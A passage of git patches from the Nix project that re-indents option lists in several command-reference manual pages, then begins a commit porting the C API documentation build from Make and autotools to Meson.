to resolve to a regular file rather than directory. - The result is identical to that produced by the GNU commands - `md5sum` and `sha1sum`. + Print the cryptographic hash of the contents of each regular file *path*. + That is, instead of computing + the hash of the [Nix Archive (NAR)](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) of *path*, + just [directly hash]((@docroot@/store/file-system-object/content-address.md#serial-flat) *path* as is. + This requires *path* to resolve to a regular file rather than directory. + The result is identical to that produced by the GNU commands + `md5sum` and `sha1sum`. - - `--base16` +- `--base16` - Print the hash in a hexadecimal representation (default). + Print the hash in a hexadecimal representation (default). - - `--base32` +- `--base32` - Print the hash in a base-32 representation rather than hexadecimal. - This base-32 representation is more compact and can be used in Nix - expressions (such as in calls to `fetchurl`). + Print the hash in a base-32 representation rather than hexadecimal. + This base-32 representation is more compact and can be used in Nix + expressions (such as in calls to `fetchurl`). - - `--base64` +- `--base64` - Similar to --base32, but print the hash in a base-64 representation, - which is more compact than the base-32 one. + Similar to --base32, but print the hash in a base-64 representation, + which is more compact than the base-32 one. - - `--sri` +- `--sri` - Print the hash in SRI format with base-64 encoding. - The type of hash algorithm will be prepended to the hash string, - followed by a hyphen (-) and the base-64 hash body. + Print the hash in SRI format with base-64 encoding. + The type of hash algorithm will be prepended to the hash string, + followed by a hyphen (-) and the base-64 hash body. - - `--truncate` +- `--truncate` - Truncate hashes longer than 160 bits (such as SHA-256) to 160 bits. + Truncate hashes longer than 160 bits (such as SHA-256) to 160 bits. - - `--type` *hashAlgo* +- `--type` *hashAlgo* - Use the specified cryptographic hash algorithm, which can be one of - `md5`, `sha1`, `sha256`, and `sha512`. + Use the specified cryptographic hash algorithm, which can be one of + `md5`, `sha1`, `sha256`, and `sha512`. - - `--to-base16` +- `--to-base16` - Don’t hash anything, but convert the base-32 hash representation - *hash* to hexadecimal. + Don’t hash anything, but convert the base-32 hash representation + *hash* to hexadecimal. - - `--to-base32` +- `--to-base32` - Don’t hash anything, but convert the hexadecimal hash representation - *hash* to base-32. + Don’t hash anything, but convert the hexadecimal hash representation + *hash* to base-32. - - `--to-base64` +- `--to-base64` - Don’t hash anything, but convert the hexadecimal hash representation - *hash* to base-64. + Don’t hash anything, but convert the hexadecimal hash representation + *hash* to base-64. - - `--to-sri` +- `--to-sri` - Don’t hash anything, but convert the hexadecimal hash representation - *hash* to SRI. + Don’t hash anything, but convert the hexadecimal hash representation + *hash* to SRI. # Examples diff --git a/doc/manual/src/command-ref/nix-instantiate.md b/doc/manual/src/command-ref/nix-instantiate.md index 554784b63..6f6fcdc1f 100644 --- a/doc/manual/src/command-ref/nix-instantiate.md +++ b/doc/manual/src/command-ref/nix-instantiate.md @@ -30,97 +30,97 @@ standard input. # Options - - `--add-root` *path* +- `--add-root` *path* - See the [corresponding option](nix-store.md) in `nix-store`. + See the [corresponding option](nix-store.md) in `nix-store`. - - `--parse` +- `--parse` - Just parse the input files, and print their abstract syntax trees on - standard output as a Nix expression. + Just parse the input files, and print their abstract syntax trees on + standard output as a Nix expression. - - `--eval` +- `--eval` - Just parse and evaluate the input files, and print the resulting - values on standard output. No instantiation of store derivations - takes place. + Just parse and evaluate the input files, and print the resulting + values on standard output. No instantiation of store derivations + takes place. - > **Warning** - > - > This option produces output which can be parsed as a Nix expression which - > will produce a different result than the input expression when evaluated. - > For example, these two Nix expressions print the same result despite - > having different meaning: - > - > ```console - > $ nix-instantiate --eval --expr '{ a = {}; }' - > { a = ; } - > $ nix-instantiate --eval --expr '{ a = ; }' - > { a = ; } - > ``` - > - > For human-readable output, `nix eval` (experimental) is more informative: - > - > ```console - > $ nix-instantiate --eval --expr 'a: a' - > - > $ nix eval --expr 'a: a' - > «lambda @ «string»:1:1» - > ``` - > - > For machine-readable output, the `--xml` option produces unambiguous - > output: - > - > ```console - > $ nix-instantiate --eval --xml --expr '{ foo = ; }' - > - > - > - > - > - > - > - > - > ``` + > **Warning** + > + > This option produces output which can be parsed as a Nix expression which + > will produce a different result than the input expression when evaluated. + > For example, these two Nix expressions print the same result despite + > having different meaning: + > + > ```console + > $ nix-instantiate --eval --expr '{ a = {}; }' + > { a = ; } + > $ nix-instantiate --eval --expr '{ a = ; }' + > { a = ; } + > ``` + > + > For human-readable output, `nix eval` (experimental) is more informative: + > + > ```console + > $ nix-instantiate --eval --expr 'a: a' + > + > $ nix eval --expr 'a: a' + > «lambda @ «string»:1:1» + > ``` + > + > For machine-readable output, the `--xml` option produces unambiguous + > output: + > + > ```console + > $ nix-instantiate --eval --xml --expr '{ foo = ; }' + > + > + > + > + > + > + > + > + > ``` - - `--find-file` +- `--find-file` - Look up the given files in Nix’s search path (as specified by the - `NIX_PATH` environment variable). If found, print the corresponding - absolute paths on standard output. For instance, if `NIX_PATH` is - `nixpkgs=/home/alice/nixpkgs`, then `nix-instantiate --find-file - nixpkgs/default.nix` will print `/home/alice/nixpkgs/default.nix`. + Look up the given files in Nix’s search path (as specified by the + `NIX_PATH` environment variable). If found, print the corresponding + absolute paths on standard output. For instance, if `NIX_PATH` is + `nixpkgs=/home/alice/nixpkgs`, then `nix-instantiate --find-file + nixpkgs/default.nix` will print `/home/alice/nixpkgs/default.nix`. - - `--strict` +- `--strict` - When used with `--eval`, recursively evaluate list elements and - attributes. Normally, such sub-expressions are left unevaluated - (since the Nix language is lazy). + When used with `--eval`, recursively evaluate list elements and + attributes. Normally, such sub-expressions are left unevaluated + (since the Nix language is lazy). - > **Warning** - > - > This option can cause non-termination, because lazy data - > structures can be infinitely large. + > **Warning** + > + > This option can cause non-termination, because lazy data + > structures can be infinitely large. - - `--json` +- `--json` - When used with `--eval`, print the resulting value as an JSON - representation of the abstract syntax tree rather than as a Nix expression. + When used with `--eval`, print the resulting value as an JSON + representation of the abstract syntax tree rather than as a Nix expression. - - `--xml` +- `--xml` - When used with `--eval`, print the resulting value as an XML - representation of the abstract syntax tree rather than as a Nix expression. - The schema is the same as that used by the [`toXML` - built-in](../language/builtins.md). + When used with `--eval`, print the resulting value as an XML + representation of the abstract syntax tree rather than as a Nix expression. + The schema is the same as that used by the [`toXML` + built-in](../language/builtins.md). - - `--read-write-mode` +- `--read-write-mode` - When used with `--eval`, perform evaluation in read/write mode so - nix language features that require it will still work (at the cost - of needing to do instantiation of every evaluated derivation). If - this option is not enabled, there may be uninstantiated store paths - in the final output. + When used with `--eval`, perform evaluation in read/write mode so + nix language features that require it will still work (at the cost + of needing to do instantiation of every evaluated derivation). If + this option is not enabled, there may be uninstantiated store paths + in the final output. {{#include ./opt-common.md}} diff --git a/doc/manual/src/command-ref/nix-prefetch-url.md b/doc/manual/src/command-ref/nix-prefetch-url.md index 309738113..ffab94b8a 100644 --- a/doc/manual/src/command-ref/nix-prefetch-url.md +++ b/doc/manual/src/command-ref/nix-prefetch-url.md @@ -39,32 +39,32 @@ the path of the downloaded file in the Nix store is also printed. # Options - - `--type` *hashAlgo* +- `--type` *hashAlgo* - Use the specified cryptographic hash algorithm, - which can be one of `md5`, `sha1`, `sha256`, and `sha512`. - The default is `sha256`. + Use the specified cryptographic hash algorithm, + which can be one of `md5`, `sha1`, `sha256`, and `sha512`. + The default is `sha256`. - - `--print-path` +- `--print-path` - Print the store path of the downloaded file on standard output. + Print the store path of the downloaded file on standard output. - - `--unpack` +- `--unpack` - Unpack the archive (which must be a tarball or zip file) and add the - result to the Nix store. The resulting hash can be used with - functions such as Nixpkgs’s `fetchzip` or `fetchFromGitHub`. + Unpack the archive (which must be a tarball or zip file) and add the + result to the Nix store. The resulting hash can be used with + functions such as Nixpkgs’s `fetchzip` or `fetchFromGitHub`. - - `--executable` +- `--executable` - Set the executable bit on the downloaded file. + Set the executable bit on the downloaded file. - - `--name` *name* +- `--name` *name* - Override the name of the file in the Nix store. By default, this is - `hash-basename`, where *basename* is the last component of *url*. - Overriding the name is necessary when *basename* contains characters - that are not allowed in Nix store paths. + Override the name of the file in the Nix store. By default, this is + `hash-basename`, where *basename* is the last component of *url*. + Overriding the name is necessary when *basename* contains characters + that are not allowed in Nix store paths. # Examples diff --git a/doc/manual/src/command-ref/nix-shell.md b/doc/manual/src/command-ref/nix-shell.md index 16b270de7..ddec30f5b 100644 --- a/doc/manual/src/command-ref/nix-shell.md +++ b/doc/manual/src/command-ref/nix-shell.md @@ -60,63 +60,63 @@ All options not listed here are passed to `nix-store --realise`, except for `--arg` and `--attr` / `-A` which are passed to `nix-instantiate`. - - `--command` *cmd* +- `--command` *cmd* - In the environment of the derivation, run the shell command *cmd*. - This command is executed in an interactive shell. (Use `--run` to - use a non-interactive shell instead.) However, a call to `exit` is - implicitly added to the command, so the shell will exit after - running the command. To prevent this, add `return` at the end; - e.g. `--command "echo Hello; return"` will print `Hello` and then - drop you into the interactive shell. This can be useful for doing - any additional initialisation. + In the environment of the derivation, run the shell command *cmd*. + This command is executed in an interactive shell. (Use `--run` to + use a non-interactive shell instead.) However, a call to `exit` is + implicitly added to the command, so the shell will exit after + running the command. To prevent this, add `return` at the end; + e.g. `--command "echo Hello; return"` will print `Hello` and then + drop you into the interactive shell. This can be useful for doing + any additional initialisation. - - `--run` *cmd* +- `--run` *cmd* - Like `--command`, but executes the command in a non-interactive - shell. This means (among other things) that if you hit Ctrl-C while - the command is running, the shell exits. + Like `--command`, but executes the command in a non-interactive + shell. This means (among other things) that if you hit Ctrl-C while + the command is running, the shell exits. - - `--exclude` *regexp* +- `--exclude` *regexp* - Do not build any dependencies whose store path matches the regular - expression *regexp*. This option may be specified multiple times. + Do not build any dependencies whose store path matches the regular + expression *regexp*. This option may be specified multiple times. - - `--pure` +- `--pure` - If this flag is specified, the environment is almost entirely - cleared before the interactive shell is started, so you get an - environment that more closely corresponds to the “real” Nix build. A - few variables, in particular `HOME`, `USER` and `DISPLAY`, are - retained. + If this flag is specified, the environment is almost entirely + cleared before the interactive shell is started, so you get an + environment that more closely corresponds to the “real” Nix build. A + few variables, in particular `HOME`, `USER` and `DISPLAY`, are + retained. - - `--packages` / `-p` *packages*… +- `--packages` / `-p` *packages*… - Set up an environment in which the specified packages are present. - The command line arguments are interpreted as attribute names inside - the Nix Packages collection. Thus, `nix-shell --packages libjpeg openjdk` - will start a shell in which the packages denoted by the attribute - names `libjpeg` and `openjdk` are present. + Set up an environment in which the specified packages are present. + The command line arguments are interpreted as attribute names inside + the Nix Packages collection. Thus, `nix-shell --packages libjpeg openjdk` + will start a shell in which the packages denoted by the attribute + names `libjpeg` and `openjdk` are present. - - `-i` *interpreter* +- `-i` *interpreter* - The chained script interpreter to be invoked by `nix-shell`. Only - applicable in `#!`-scripts (described below). + The chained script interpreter to be invoked by `nix-shell`. Only + applicable in `#!`-scripts (described below). - - `--keep` *name* +- `--keep` *name* - When a `--pure` shell is started, keep the listed environment - variables. + When a `--pure` shell is started, keep the listed environment + variables. {{#include ./opt-common.md}} # Environment variables - - `NIX_BUILD_SHELL` +- `NIX_BUILD_SHELL` - Shell used to start the interactive environment. Defaults to the - `bash` found in ``, falling back to the `bash` found in - `PATH` if not found. + Shell used to start the interactive environment. Defaults to the + `bash` found in ``, falling back to the `bash` found in + `PATH` if not found. {{#include ./env-common.md}} diff --git a/doc/manual/src/command-ref/nix-store/add-fixed.md b/doc/manual/src/command-ref/nix-store/add-fixed.md index 3de25194c..bebf15026 100644 --- a/doc/manual/src/command-ref/nix-store/add-fixed.md +++ b/doc/manual/src/command-ref/nix-store/add-fixed.md @@ -16,10 +16,10 @@ public url or broke since the download expression was written. This operation has the following options: - - `--recursive` +- `--recursive` - Use recursive instead of flat hashing mode, used when adding - directories to the store. + Use recursive instead of flat hashing mode, used when adding + directories to the store. {{#include ./opt-common.md}} diff --git a/doc/manual/src/command-ref/nix-store/gc.md b/doc/manual/src/command-ref/nix-store/gc.md index 07fd452ce..f432e00eb 100644 --- a/doc/manual/src/command-ref/nix-store/gc.md +++ b/doc/manual/src/command-ref/nix-store/gc.md @@ -14,34 +14,34 @@ reachable via file system references from a set of “roots”, are deleted. The following suboperations may be specified: - - `--print-roots` +- `--print-roots` - This operation prints on standard output the set of roots used by - the garbage collector. + This operation prints on standard output the set of roots used by + the garbage collector. - - `--print-live` +- `--print-live` - This operation prints on standard output the set of “live” store - paths, which are all the store paths reachable from the roots. Live - paths should never be deleted, since that would break consistency — - it would become possible that applications are installed that - reference things that are no longer present in the store. + This operation prints on standard output the set of “live” store + paths, which are all the store paths reachable from the roots. Live + paths should never be deleted, since that would break consistency — + it would become possible that applications are installed that + reference things that are no longer present in the store. - - `--print-dead` +- `--print-dead` - This operation prints out on standard output the set of “dead” store - paths, which is just the opposite of the set of live paths: any path - in the store that is not live (with respect to the roots) is dead. + This operation prints out on standard output the set of “dead” store + paths, which is just the opposite of the set of live paths: any path + in the store that is not live (with respect to the roots) is dead. By default, all unreachable paths are deleted. The following options control what gets deleted and in what order: - - `--max-freed` *bytes* +- `--max-freed` *bytes* - Keep deleting paths until at least *bytes* bytes have been deleted, - then stop. The argument *bytes* can be followed by the - multiplicative suffix `K`, `M`, `G` or `T`, denoting KiB, MiB, GiB - or TiB units. + Keep deleting paths until at least *bytes* bytes have been deleted, + then stop. The argument *bytes* can be followed by the + multiplicative suffix `K`, `M`, `G` or `T`, denoting KiB, MiB, GiB + or TiB units. The behaviour of the collector is also influenced by the `keep-outputs` and `keep-derivations` settings in the Nix diff --git a/doc/manual/src/command-ref/nix-store/query.md b/doc/manual/src/command-ref/nix-store/query.md index a703b002b..b4efa734e 100644 --- a/doc/manual/src/command-ref/nix-store/query.md +++ b/doc/manual/src/command-ref/nix-store/query.md @@ -24,138 +24,138 @@ symlink. # Common query options - - `--use-output` / `-u` +- `--use-output` / `-u` - For each argument to the query that is a [store derivation], apply the - query to the output path of the derivation instead. + For each argument to the query that is a [store derivation], apply the + query to the output path of the derivation instead. - - `--force-realise` / `-f` +- `--force-realise` / `-f` - Realise each argument to the query first (see [`nix-store --realise`](./realise.md)). + Realise each argument to the query first (see [`nix-store --realise`](./realise.md)). [store derivation]: @docroot@/glossary.md#gloss-store-derivation # Queries - - `--outputs` +- `--outputs` - Prints out the [output paths] of the store - derivations *paths*. These are the paths that will be produced when - the derivation is built. + Prints out the [output paths] of the store + derivations *paths*. These are the paths that will be produced when + the derivation is built. - [output paths]: @docroot@/glossary.md#gloss-output-path + [output paths]: @docroot@/glossary.md#gloss-output-path - - `--requisites` / `-R` +- `--requisites` / `-R` - Prints out the [closure] of the store path *paths*. + Prints out the [closure] of the store path *paths*. - [closure]: @docroot@/glossary.md#gloss-closure + [closure]: @docroot@/glossary.md#gloss-closure - This query has one option: + This query has one option: - - `--include-outputs` - Also include the existing output paths of [store derivation]s, - and their closures. + - `--include-outputs` + Also include the existing output paths of [store derivation]s, + and their closures. - This query can be used to implement various kinds of deployment. A - *source deployment* is obtained by distributing the closure of a - store derivation. A *binary deployment* is obtained by distributing - the closure of an output path. A *cache deployment* (combined - source/binary deployment, including binaries of build-time-only - dependencies) is obtained by distributing the closure of a store - derivation and specifying the option `--include-outputs`. + This query can be used to implement various kinds of deployment. A + *source deployment* is obtained by distributing the closure of a + store derivation. A *binary deployment* is obtained by distributing + the closure of an output path. A *cache deployment* (combined + source/binary deployment, including binaries of build-time-only + dependencies) is obtained by distributing the closure of a store + derivation and specifying the option `--include-outputs`. - - `--references` +- `--references` - Prints the set of [references] of the store paths - *paths*, that is, their immediate dependencies. (For *all* - dependencies, use `--requisites`.) + Prints the set of [references] of the store paths + *paths*, that is, their immediate dependencies. (For *all* + dependencies, use `--requisites`.) - [references]: @docroot@/glossary.md#gloss-reference + [references]: @docroot@/glossary.md#gloss-reference - - `--referrers` +- `--referrers` - Prints the set of *referrers* of the store paths *paths*, that is, - the store paths currently existing in the Nix store that refer to - one of *paths*. Note that contrary to the references, the set of - referrers is not constant; it can change as store paths are added or - removed. + Prints the set of *referrers* of the store paths *paths*, that is, + the store paths currently existing in the Nix store that refer to + one of *paths*. Note that contrary to the references, the set of + referrers is not constant; it can change as store paths are added or + removed. - - `--referrers-closure` +- `--referrers-closure` - Prints the closure of the set of store paths *paths* under the - referrers relation; that is, all store paths that directly or - indirectly refer to one of *paths*. These are all the path currently - in the Nix store that are dependent on *paths*. + Prints the closure of the set of store paths *paths* under the + referrers relation; that is, all store paths that directly or + indirectly refer to one of *paths*. These are all the path currently + in the Nix store that are dependent on *paths*. - - `--deriver` / `-d` +- `--deriver` / `-d` - Prints the [deriver] that was used to build the store paths *paths*. If - the path has no deriver (e.g., if it is a source file), or if the - deriver is not known (e.g., in the case of a binary-only - deployment), the string `unknown-deriver` is printed. - The returned deriver is not guaranteed to exist in the local store, for - example when *paths* were substituted from a binary cache. - Use `--valid-derivers` instead to obtain valid paths only. + Prints the [deriver] that was used to build the store paths *paths*. If + the path has no deriver (e.g., if it is a source file), or if the + deriver is not known (e.g., in the case of a binary-only + deployment), the string `unknown-deriver` is printed. + The returned deriver is not guaranteed to exist in the local store, for + example when *paths* were substituted from a binary cache. + Use `--valid-derivers` instead to obtain valid paths only. - [deriver]: @docroot@/glossary.md#gloss-deriver + [deriver]: @docroot@/glossary.md#gloss-deriver - - `--valid-derivers` +- `--valid-derivers` - Prints a set of derivation files (`.drv`) which are supposed produce - said paths when realized. Might print nothing, for example for source paths - or paths subsituted from a binary cache. + Prints a set of derivation files (`.drv`) which are supposed produce + said paths when realized. Might print nothing, for example for source paths + or paths subsituted from a binary cache. - - `--graph` +- `--graph` - Prints the references graph of the store paths *paths* in the format - of the `dot` tool of AT\&T's [Graphviz - package](http://www.graphviz.org/). This can be used to visualise - dependency graphs. To obtain a build-time dependency graph, apply - this to a store derivation. To obtain a runtime dependency graph, - apply it to an output path. + Prints the references graph of the store paths *paths* in the format + of the `dot` tool of AT\&T's [Graphviz + package](http://www.graphviz.org/). This can be used to visualise + dependency graphs. To obtain a build-time dependency graph, apply + this to a store derivation. To obtain a runtime dependency graph, + apply it to an output path. - - `--tree` +- `--tree` - Prints the references graph of the store paths *paths* as a nested - ASCII tree. References are ordered by descending closure size; this - tends to flatten the tree, making it more readable. The query only - recurses into a store path when it is first encountered; this - prevents a blowup of the tree representation of the graph. + Prints the references graph of the store paths *paths* as a nested + ASCII tree. References are ordered by descending closure size; this + tends to flatten the tree, making it more readable. The query only + recurses into a store path when it is first encountered; this + prevents a blowup of the tree representation of the graph. - - `--graphml` +- `--graphml` - Prints the references graph of the store paths *paths* in the - [GraphML](http://graphml.graphdrawing.org/) file format. This can be - used to visualise dependency graphs. To obtain a build-time - dependency graph, apply this to a [store derivation]. To obtain a - runtime dependency graph, apply it to an output path. + Prints the references graph of the store paths *paths* in the + [GraphML](http://graphml.graphdrawing.org/) file format. This can be + used to visualise dependency graphs. To obtain a build-time + dependency graph, apply this to a [store derivation]. To obtain a + runtime dependency graph, apply it to an output path. - - `--binding` *name* / `-b` *name* +- `--binding` *name* / `-b` *name* - Prints the value of the attribute *name* (i.e., environment - variable) of the [store derivation]s *paths*. It is an error for a - derivation to not have the specified attribute. + Prints the value of the attribute *name* (i.e., environment + variable) of the [store derivation]s *paths*. It is an error for a + derivation to not have the specified attribute. - - `--hash` +- `--hash` - Prints the SHA-256 hash of the contents of the store paths *paths* - (that is, the hash of the output of `nix-store --dump` on the given - paths). Since the hash is stored in the Nix database, this is a fast - operation. + Prints the SHA-256 hash of the contents of the store paths *paths* + (that is, the hash of the output of `nix-store --dump` on the given + paths). Since the hash is stored in the Nix database, this is a fast + operation. - - `--size` +- `--size` - Prints the size in bytes of the contents of the store paths *paths* - — to be precise, the size of the output of `nix-store --dump` on - the given paths. Note that the actual disk space required by the - store paths may be higher, especially on filesystems with large - cluster sizes. + Prints the size in bytes of the contents of the store paths *paths* + — to be precise, the size of the output of `nix-store --dump` on + the given paths. Note that the actual disk space required by the + store paths may be higher, especially on filesystems with large + cluster sizes. - - `--roots` +- `--roots` - Prints the garbage collector roots that point, directly or - indirectly, at the store paths *paths*. + Prints the garbage collector roots that point, directly or + indirectly, at the store paths *paths*. {{#include ./opt-common.md}} diff --git a/doc/manual/src/command-ref/nix-store/realise.md b/doc/manual/src/command-ref/nix-store/realise.md index 6288b24e0..e30b351a4 100644 --- a/doc/manual/src/command-ref/nix-store/realise.md +++ b/doc/manual/src/command-ref/nix-store/realise.md @@ -42,26 +42,26 @@ For non-derivation arguments, the argument itself is printed. # Options - - `--dry-run` +- `--dry-run` - Print on standard error a description of what packages would be - built or downloaded, without actually performing the operation. + Print on standard error a description of what packages would be + built or downloaded, without actually performing the operation. - - `--ignore-unknown` +- `--ignore-unknown` - If a non-derivation path does not have a substitute, then silently - ignore it. + If a non-derivation path does not have a substitute, then silently + ignore it. - - `--check` +- `--check` - This option allows you to check whether a derivation is - deterministic. It rebuilds the specified derivation and checks - whether the result is bitwise-identical with the existing outputs, - printing an error if that’s not the case. The outputs of the - specified derivation must already exist. When used with `-K`, if an - output path is not identical to the corresponding output from the - previous build, the new output path is left in - `/nix/store/name.check.` + This option allows you to check whether a derivation is + deterministic. It rebuilds the specified derivation and checks + whether the result is bitwise-identical with the existing outputs, + printing an error if that’s not the case. The outputs of the + specified derivation must already exist. When used with `-K`, if an + output path is not identical to the corresponding output from the + previous build, the new output path is left in + `/nix/store/name.check.` {{#include ./opt-common.md}} diff --git a/doc/manual/src/command-ref/nix-store/serve.md b/doc/manual/src/command-ref/nix-store/serve.md index dd9b93fbf..9a4cf5216 100644 --- a/doc/manual/src/command-ref/nix-store/serve.md +++ b/doc/manual/src/command-ref/nix-store/serve.md @@ -14,11 +14,11 @@ access to a restricted ssh user. The following flags are available: - - `--write` +- `--write` - Allow the connected client to request the realization of - derivations. In effect, this can be used to make the host act as a - remote builder. + Allow the connected client to request the realization of + derivations. In effect, this can be used to make the host act as a + remote builder. {{#include ./opt-common.md}} diff --git a/doc/manual/src/command-ref/nix-store/verify.md b/doc/manual/src/command-ref/nix-store/verify.md index 1b1b6f529..40c9180db 100644 --- a/doc/manual/src/command-ref/nix-store/verify.md +++ b/doc/manual/src/command-ref/nix-store/verify.md @@ -16,20 +16,20 @@ being modified by non-Nix tools, or of bugs in Nix itself. This operation has the following options: - - `--check-contents` +- `--check-contents` - Checks that the contents of every valid store path has not been - altered by computing a SHA-256 hash of the contents and comparing it - with the hash stored in the Nix database at build time. Paths that - have been modified are printed out. For large stores, - `--check-contents` is obviously quite slow. + Checks that the contents of every valid store path has not been + altered by computing a SHA-256 hash of the contents and comparing it + with the hash stored in the Nix database at build time. Paths that + have been modified are printed out. For large stores, + `--check-contents` is obviously quite slow. - - `--repair` +- `--repair` - If any valid path is missing from the store, or (if - `--check-contents` is given) the contents of a valid path has been - modified, then try to repair the path by redownloading it. See - `nix-store --repair-path` for details. + If any valid path is missing from the store, or (if + `--check-contents` is given) the contents of a valid path has been + modified, then try to repair the path by redownloading it. See + `nix-store --repair-path` for details. {{#include ./opt-common.md}} From 1c131ec2b71fa7ad6fd285ed2a9fcc4cf616b3a6 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Wed, 19 Jun 2024 22:43:54 +0200 Subject: [PATCH 0848/1251] Port C API docs to Meson (#10936) * Port C API docs to Meson * don't cross-compile the docs --- Makefile | 11 ---- Makefile.config.in | 1 - configure.ac | 9 --- doc/external-api/local.mk | 7 -- doc/manual/src/contributing/documentation.md | 10 +-- flake.nix | 14 +++- maintainers/hydra.nix | 6 +- meson.build | 1 + package.nix | 25 +------ .../external-api-docs}/.gitignore | 0 src/external-api-docs/.version | 1 + .../external-api-docs}/README.md | 0 .../external-api-docs}/doxygen.cfg.in | 13 ++-- src/external-api-docs/meson.build | 31 +++++++++ src/external-api-docs/package.nix | 65 +++++++++++++++++++ src/internal-api-docs/package.nix | 5 ++ 16 files changed, 131 insertions(+), 68 deletions(-) delete mode 100644 doc/external-api/local.mk rename {doc/external-api => src/external-api-docs}/.gitignore (100%) create mode 120000 src/external-api-docs/.version rename {doc/external-api => src/external-api-docs}/README.md (100%) rename {doc/external-api => src/external-api-docs}/doxygen.cfg.in (91%) create mode 100644 src/external-api-docs/meson.build create mode 100644 src/external-api-docs/package.nix diff --git a/Makefile b/Makefile index 257560028..227aaf6d9 100644 --- a/Makefile +++ b/Makefile @@ -68,10 +68,6 @@ ifeq ($(ENABLE_DOC_GEN), yes) makefiles-late += doc/manual/local.mk endif -ifeq ($(ENABLE_EXTERNAL_API_DOCS), yes) -makefiles-late += doc/external-api/local.mk -endif - # Miscellaneous global Flags OPTIMIZE = 1 @@ -127,10 +123,3 @@ manual-html manpages: @echo "Generated docs are disabled. Configure without '--disable-doc-gen', or avoid calling 'make manpages' and 'make manual-html'." @exit 1 endif - -ifneq ($(ENABLE_EXTERNAL_API_DOCS), yes) -.PHONY: external-api-html -external-api-html: - @echo "External API docs are disabled. Configure with '--enable-external-api-docs', or avoid calling 'make external-api-html'." - @exit 1 -endif diff --git a/Makefile.config.in b/Makefile.config.in index 56e67e5cd..3100d2073 100644 --- a/Makefile.config.in +++ b/Makefile.config.in @@ -11,7 +11,6 @@ EDITLINE_LIBS = @EDITLINE_LIBS@ ENABLE_BUILD = @ENABLE_BUILD@ ENABLE_DOC_GEN = @ENABLE_DOC_GEN@ ENABLE_FUNCTIONAL_TESTS = @ENABLE_FUNCTIONAL_TESTS@ -ENABLE_EXTERNAL_API_DOCS = @ENABLE_EXTERNAL_API_DOCS@ ENABLE_S3 = @ENABLE_S3@ ENABLE_UNIT_TESTS = @ENABLE_UNIT_TESTS@ GTEST_LIBS = @GTEST_LIBS@ diff --git a/configure.ac b/configure.ac index 2fefbe95a..2b5cd115f 100644 --- a/configure.ac +++ b/configure.ac @@ -149,11 +149,6 @@ AC_ARG_ENABLE(unit-tests, AS_HELP_STRING([--disable-unit-tests],[Do not build th ENABLE_UNIT_TESTS=$enableval, ENABLE_UNIT_TESTS=$ENABLE_BUILD) AC_SUBST(ENABLE_UNIT_TESTS) -# Build external API docs by default -AC_ARG_ENABLE(external_api_docs, AS_HELP_STRING([--enable-external-api-docs],[Build API docs for Nix's C interface]), - external_api_docs=$enableval, external_api_docs=yes) -AC_SUBST(external_api_docs) - AS_IF( [test "$ENABLE_BUILD" == "no" && test "$ENABLE_UNIT_TESTS" == "yes"], [AC_MSG_ERROR([Cannot enable unit tests when building overall is disabled. Please do not pass '--enable-unit-tests' or do not pass '--disable-build'.])]) @@ -171,10 +166,6 @@ AS_IF( [test "$ENABLE_BUILD" == "no" && test "$ENABLE_DOC_GEN" == "yes"], [AC_MSG_ERROR([Cannot enable generated docs when building overall is disabled. Please do not pass '--enable-doc-gen' or do not pass '--disable-build'.])]) -AC_ARG_ENABLE(external-api-docs, AS_HELP_STRING([--enable-external-api-docs],[Build API docs for Nix's external unstable C interfaces]), - ENABLE_EXTERNAL_API_DOCS=$enableval, ENABLE_EXTERNAL_API_DOCS=no) -AC_SUBST(ENABLE_EXTERNAL_API_DOCS) - AS_IF( [test "$ENABLE_FUNCTIONAL_TESTS" == "yes" || test "$ENABLE_DOC_GEN" == "yes"], [NEED_PROG(jq, jq)]) diff --git a/doc/external-api/local.mk b/doc/external-api/local.mk deleted file mode 100644 index ae2b44db8..000000000 --- a/doc/external-api/local.mk +++ /dev/null @@ -1,7 +0,0 @@ -$(docdir)/external-api/html/index.html $(docdir)/external-api/latex: $(d)/doxygen.cfg src/lib*-c/*.h - mkdir -p $(docdir)/external-api - { cat $< ; echo "OUTPUT_DIRECTORY=$(docdir)/external-api" ; } | doxygen - - -# Generate the HTML API docs for Nix's unstable C bindings -.PHONY: external-api-html -external-api-html: $(docdir)/external-api/html/index.html diff --git a/doc/manual/src/contributing/documentation.md b/doc/manual/src/contributing/documentation.md index a5e2bfa83..a14ecedd6 100644 --- a/doc/manual/src/contributing/documentation.md +++ b/doc/manual/src/contributing/documentation.md @@ -204,7 +204,6 @@ or inside `nix-shell` or `nix develop`: ```console $ mesonConfigurePhase -$ cd build $ ninja src/internal-api-docs/html $ xdg-open src/internal-api-docs/html/index.html ``` @@ -218,13 +217,14 @@ You can also build and view it yourself: [C API documentation]: https://hydra.nixos.org/job/nix/master/external-api-docs/latest/download-by-type/doc/external-api-docs ```console -# nix build .#hydraJobs.external-api-docs -# xdg-open ./result/share/doc/nix/external-api/html/index.html +$ nix build .#hydraJobs.external-api-docs +$ xdg-open ./result/share/doc/nix/external-api/html/index.html ``` or inside `nix-shell` or `nix develop`: ``` -# make external-api-html -# xdg-open ./outputs/doc/share/doc/nix/external-api/html/index.html +$ mesonConfigurePhase +$ ninja src/external-api-docs/html +$ xdg-open src/external-api-docs/html/index.html ``` diff --git a/flake.nix b/flake.nix index 5c8d84a75..4e7363cd6 100644 --- a/flake.nix +++ b/flake.nix @@ -211,7 +211,6 @@ ; }; - nix-internal-api-docs = final.callPackage ./src/internal-api-docs/package.nix { inherit fileset @@ -220,6 +219,14 @@ ; }; + nix-external-api-docs = final.callPackage ./src/external-api-docs/package.nix { + inherit + fileset + stdenv + versionSuffix + ; + }; + # See https://github.com/NixOS/nixpkgs/pull/214409 # Remove when fixed in this flake's nixpkgs pre-commit = @@ -275,6 +282,8 @@ inherit (nixpkgsFor.${system}.native) changelog-d; default = self.packages.${system}.nix; + nix-internal-api-docs = nixpkgsFor.${system}.native.nix-internal-api-docs; + nix-external-api-docs = nixpkgsFor.${system}.native.nix-external-api-docs; } // lib.concatMapAttrs # We need to flatten recursive attribute sets of derivations to pass `flake check`. (pkgName: {}: { @@ -298,7 +307,6 @@ #"nix-util" = { }; #"nix-store" = { }; #"nix-fetchers" = { }; - "nix-internal-api-docs" = { }; } // lib.optionalAttrs (builtins.elem system linux64BitSystems) { dockerImage = @@ -370,6 +378,8 @@ ++ pkgs.nix-store.nativeBuildInputs ++ pkgs.nix-fetchers.nativeBuildInputs ++ lib.optionals havePerl pkgs.nix-perl-bindings.nativeBuildInputs + ++ 